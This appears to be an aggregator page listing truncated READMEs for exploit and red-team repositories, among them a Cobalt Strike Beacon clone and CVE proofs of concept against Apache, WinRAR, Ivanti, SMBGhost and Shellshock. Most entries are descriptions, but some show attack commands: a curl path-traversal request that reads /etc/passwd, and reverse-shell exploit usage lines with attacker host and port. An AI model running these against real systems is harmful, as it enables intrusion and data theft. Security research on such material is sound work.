geacon

Geacon Using Go to implement CobaltStrike's Beacon This project is for learning protocol analysis and reverse engineering only, if someone's rights have been violated, please contact me to remove the project, and the last DO NOT USE IT ILLEGALLY How to play 1. Setup the teamserver and start a htt...

Project-CVE-2026-50751

CVE-2026-50751 IKEv1 安全测试 描述 此 Python 脚本是一个攻击性安全测试框架，旨在针对 CVE-2026-50751，即 Check Point IKEv1 VPN 身份验证绕过漏洞。 功能 扫描 IP 地址，检测 UDP 端口 500 上的 IKEv1 VPN 服务 尝试识别 Check Point VPN 网关 发送精心构造的 IKEv1 数据包，声称用于测试身份验证绕过 包含内部网络探测功能 包含反向 Shell 监听器和载荷生成功能 重要说明 此脚本并非已确认的可靠漏洞利用工具。某些功能可能失败、产生误报结果，或仅模拟 VPN 隧道创建等操作。...

CVE-2023-38831_ReverseShell_Winrar

CVE-2023-38831 在此，我分享利用 WinRAR 此漏洞所需的文件，通过该漏洞可以创建一个恶意 PDF，以便在我们的攻击机上建立反向 Shell。 ⚠️ 注意：此内容仅供道德目的分享，用于在受控环境中练习，不伤害第三方，绝不主张将这些资源用于恶意目的。 资源准备与利用 首先，下载本仓库的内容 。 我们将开始准备所有资源，以便正确利用。 我们有这 3 个文件： 第1步 ：首先需要修改 script.bat ，将其中的 ip 替换为我们的攻击机 IP，port 替换为我们监听接收反向 Shell 的端口。（建议使用 Visual Code Studio 进行修改）。 第2步 ：运行...

CVE-2026-23744-PoC

CVE-2026-23744-PoC 免责声明： 本概念验证（PoC）仅供 授权的安全研究、教育目的和受控实验室环境（例如 HTB、CTF 或经明确书面同意的内部渗透测试）使用。未经许可对任何系统进行未授权使用是非法且不道德的。作者对滥用不承担任何责任；用户应全权负责遵守所有适用法律法规。 描述 CVE-2026-23744 是 MCPJam Inspector（版本 ≤ 1.4.2）中的一个未认证命令注入漏洞。 /api/mcp/connect 端点接受包含 serverConfig.command 和 serverConfig.args 的 JSON...

CVE-2021-42013_Reverse-Shell

CVE-2021-42013Reverse-Shell PoC CVE-2021-42013 リバースシェル Apache 2.4.50 CGI 対応 使用方法： root@kitploit: chmod -x CVE-2021-42013.sh ./CVE-2021-42013reverseshell.sh http://ip:port/ LHOST LPORT 詳細情報： root@kitploit: chmod -x CVE-2021-42013.sh ./CVE-2021-42013reverseshell.sh http://ip:8083 10.0.000.000 9999 ...

PowerShellArsenal

PowerShellArsenal は、リバースエンジニアを支援するために使用される PowerShell モジュールです。このモジュールは、マネージドコードおよびアンマネージドコードの逆アセンブル、.NET マルウェア解析、メモリの分析/スキャン、ファイル形式やメモリ構造の解析、内部システム情報の取得などに使用できます。PowerShellArsenal は以下のツールで構成されています。 逆アセンブル ネイティブコードおよびマネージドコードを逆アセンブルします。 Get-CSDisassembly Capstone Engine...

MARA_Framework

MARAFramework MARA 是一个 移 动应 用程 序逆 向工程与分 析框架。它是一个整合了常用移动应用逆向工程与分析工具的工具，旨在帮助针对 OWASP 移动安全威胁测试移动应用。其目标是使移动应用开发者和安全专业人员更容易、更友好地完成这项任务。 MARA 由 @xtiankisutsa 和 @iamckn 开发与维护。它正处于开发的非常早期阶段，按照我们的路线图，未来还有更多内容。任何对该工具的贡献和建议都将受到高度赞赏。 支持的功能 APK 逆向工程 通过 baksmali 和 apktool 将 Dalvik 字节码反汇编为 smali 字节码 通过 enjarify...

CVE-2025-22457

PoC para CVE-2025-22457 Un desbordamiento de búfer basado en pila remoto sin autenticación que afecta a Ivanti Connect Secure, Pulse Connect Secure, Ivanti Policy Secure y ZTA Gateways Resumen Este es un exploit de prueba de concepto para demostrar la explotación de CVE-2025-22457. Para un anális...

CVE-2021-41773-Apache-2.4.49-

CVE-2021-41773-Apache-2.4.49- 渗透测试 1.1. Path Traversal 读取 /etc/passwd 文件 !/bin/bash Script: exploitpathtraversal.sh 目标：从 Apache 2.4.49 读取 /etc/passwd 文件 TARGETIP="128.0.0.100" URL="http://$TARGETIP/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" echo "+ 在 Apache 2.4.49 上利用路径遍历漏洞..." curl -s "$URL" ...

SLAE

SecurityTube Linux 汇编专家 这篇博客文章是为完成 SecurityTube Linux 汇编专家认证的要求而创建的： http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/ 学生 ID：SLAE-1134 文章 作业 1：Linux x86 IPv4、IPv6 与双网络协议栈 TCP 绑定 Shell 作业 2：Linux x86 IPv4 和 IPv6 TCP 反向 Shell 作业 3：Linux x86 Egghunter（蛋搜索器） 作业 4：Lin...

Firmware-analysis

此存储库没有 README。...

CVE-2022-24715

Icinga Web 2 - 認証済みリモートコード実行 2.8.6、2.9.6、2.10 リモートコマンド実行 リバースシェル 使用方法 root@kitploit: usage: exploit.py -h -u URL -U USER -P PASSWORD -i IP -p PORT Welcome. options: -h, --help show this help message and exit -u URL, --url URL Insert URL http://ipvictima -U USER, --user USER Insert user -U user -P...

CVE-2023-42793

CVE-2023-42793 2023.05.4 より前の JetBrains TeamCity は認証バイパスの脆弱性の影響を受け、RCE につながります。 使用方法 リバースシェルを取得するには root@kitploit: python3 exploit.py 参照 https://blog.jetbrains.com/teamcity/2023/09/cve-2023-42793-vulnerability-post-mortem/...

CVE-2020-8165

CVE-2020-8165.py CVE-2020-8165 エクスプロイト用のシェル: https://github.com/masahiro331/CVE-2020-8165 使用方法: CVE-2020-8165.py IP IP:PORT root@kitploit: CVE-2020-8165.py 2.3.2.3 10.10.10.10:4444...

CVE-2020-0796

CVE-2020-0796 リモートコード実行 POC c 2020 ZecOps, Inc. - https://www.zecops.com - 攻撃者のミスを見つける CVE-2020-0796 / "SMBGhost" のリモートコード実行 POC 期待される結果: システムアクセスを伴うリバースシェル。 企業環境での教育およびテスト目的のみを意図しています。 ZecOps は本コードについて一切の責任を負いません。ご自身の責任でご使用ください。 SMBGhost やその他の攻撃を自動的に検出するための、サーバー、エンドポイント、モバイルデバイス向けのエージェントレス DFIR...

Follina

Follina 关于 CVE-2022-30190 的笔记 FOLLINA: CVE-2022-30190 1. 使用 Microsoft 支持诊断工具 MSDT 2. 利用打开的诊断窗口进行诊断，当正确执行时，为攻击者提供反向 shell。 3. Github: a. https://github.com/JohnHammond/msdt-follina b. https://github.com/chvancooten/follina.py 4. 感谢： a. @johnhammond b. @networkchuck 5. 使用方法 follina.py -h --command...

-CVE-2014-6271-Shellshock-Remote-Command-Injection-

CVE-2014-6271 Shellshock-Remote-Command-Injection CVE-2014-6271 Apache Shellshock リモートコマンドインジェクションツール - クイックリバースシェルとファイル閲覧用 root@kitploit: Shellshock Apache remote exploit Usage: ./Shellshock.py payload=reverse rhost=1.2.3.4 page=3 lhost=5.6.7.8 lport=1234 ./Shellshock.py payload=files...

Elastix-2.2.0-CVE-2012-4869

Elastix 2.2.0 ローカルファイルインクルードエクスプロイト - CVE-2012-4869 説明 このスクリプトは Elastix 2.2.0 のローカルファイルインクルード LFI 脆弱性を悪用し、callmepage.php エンドポイントを介してコマンドを注入することでリモートコード実行 RCE を可能にします。このエクスプロイトは CVE-2012-4869 に基づいています。 特徴 TLS 証明書の検証をバイパスします。 Perl リバースシェル ペイロードを使用します。 リバースシェル用のカスタム LHOST および LPORT をサポートします。 HTTPS...

CVE-2021-21978

CVE-2021-21978 CVE-2021-21978 EXP VMware View Planner RCE CVE-2021-21978 リバースシェル...

CVE-2022-44877-white-box

文档：https://docs.google.com/document/d/1rQ7e9i2AFzHbASfRu3nkgjIswbrS2AB2i7V9OK3dJLs/edit?usp=sharing Libprochider：https://github.com/gianlucaborello/libprocesshider /var/www/html YouTube 演示：https://www.youtube.com/watch?v=V0HgzE8IElA&t=343s 已测试的机器环境 CentOS 7 - CentOS Web Panel 9.8.1146 Kali Linux...